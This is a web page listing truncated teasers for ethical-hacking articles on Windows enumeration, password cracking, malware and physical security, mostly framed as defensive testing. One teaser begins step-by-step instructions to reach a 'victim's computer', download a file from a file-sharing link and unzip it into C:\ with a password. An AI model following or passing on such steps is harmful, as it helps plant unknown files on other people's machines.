Web-Application Vulnerabilities Hacker attacks against insecure Web applications — via Hypertext Transfer Protocol (HTTP) — make up the majority of all Internet-related attacks. Most of these Full Article

You have a couple of safe options for checking the effectiveness of your antivirus software, as described in the following two sections. This is by no means a comprehensive method of testing your Full Article

Some time back — practically forever, in computer time — most malwarepropagated via floppy disks. In 1981, the first computer virus was released: the Apple II Elk Cloner virus. In 1986, the Full Article

Malware is one of the greatest threats to the security of your information. Not only do you have to deal with the well-known malware — the ILoveYous and Code Reds of the world — infecting your Full Article

As part of your ethical hacking, you can run the following security tests to determine other potential weaknesses in your Windows systems. Windows Update Windows Update is the simplest way to check Full Article

Windows shares — the available network drives that show up when browsing the network in Network Neighborhood or My Network Places — are often misconfigured, allowing more people to have access Full Article

Hackers use RPC enumeration programs to see what’s running on the host. With that information, hackers can then penetrate the system further. Rpcdump is my favorite tool for enumerating RPC on Full Article

You can gather Windows information by poking around with NetBIOS (Network Basic Input/Output System) functions and programs. NetBIOS allows applications to make networking calls and communicate Full Article

When you assess Windows vulnerabilities, start by scanning your computers to see what the bad guys can see. System scanning A few straightforward processes can identify weaknesses. Other steps Full Article

1st step: get to the victim’s computer and download this file http://wwww.filefactory.com/file/0313ca/ 2nd step: unzip it in the C:\ with the password “metacafe” 3rd step: from Full Article

  You can implement various operating-system security measures to ensure that passwords are protected. Regularly perform these low-tech and high-tech password-cracking tests to make sure that your Full Article

Do you wonder how vulnerable word-processing, spreadsheet, and zip files are as users send them into the wild blue yonder? Wonder no more. Some great utilities can show how easily passwords are Full Article

High-tech password cracking involves using a program that tries to guess a password by determining all possible password combinations. These hightech methods are mostly automated after you access the Full Article

  Password cracking is one of the most enjoyable hacks for the bad guys. It fuels their sense of exploration and desire to figure things out. You may not have a burning desire to explore Full Article

When you balance the cost of security and the value of the protected information, the combination of user ID and secret password is usually adequate. However, passwords give a false sense of Full Article

After hackers obtain physical access to a building, they look for the computer room and other easily accessible computer and network devices.   Attack points The keys to the kingdom are often as Full Article

Office design and usage can either help or hinder physical security. Hackers may exploit some office vulnerabilities. Consider these attack points:  Does a receptionist or security guard monitor Full Article

You must consider building and computer-room utilities, such as power, water, and fire suppression, when accessing physical security. These utilities can help fight off such incidents as fire and Full Article

  Doors, windows, and walls are critical components of a building — especially in a computer room or in an area where confidential information is stored.   Attack points   Hackers can exploit a Full Article

Whatever your computer and network-security technology, practically any hack is possible if a hacker is in your building or computer room. That’s why it’s important to look for physical-security Full Article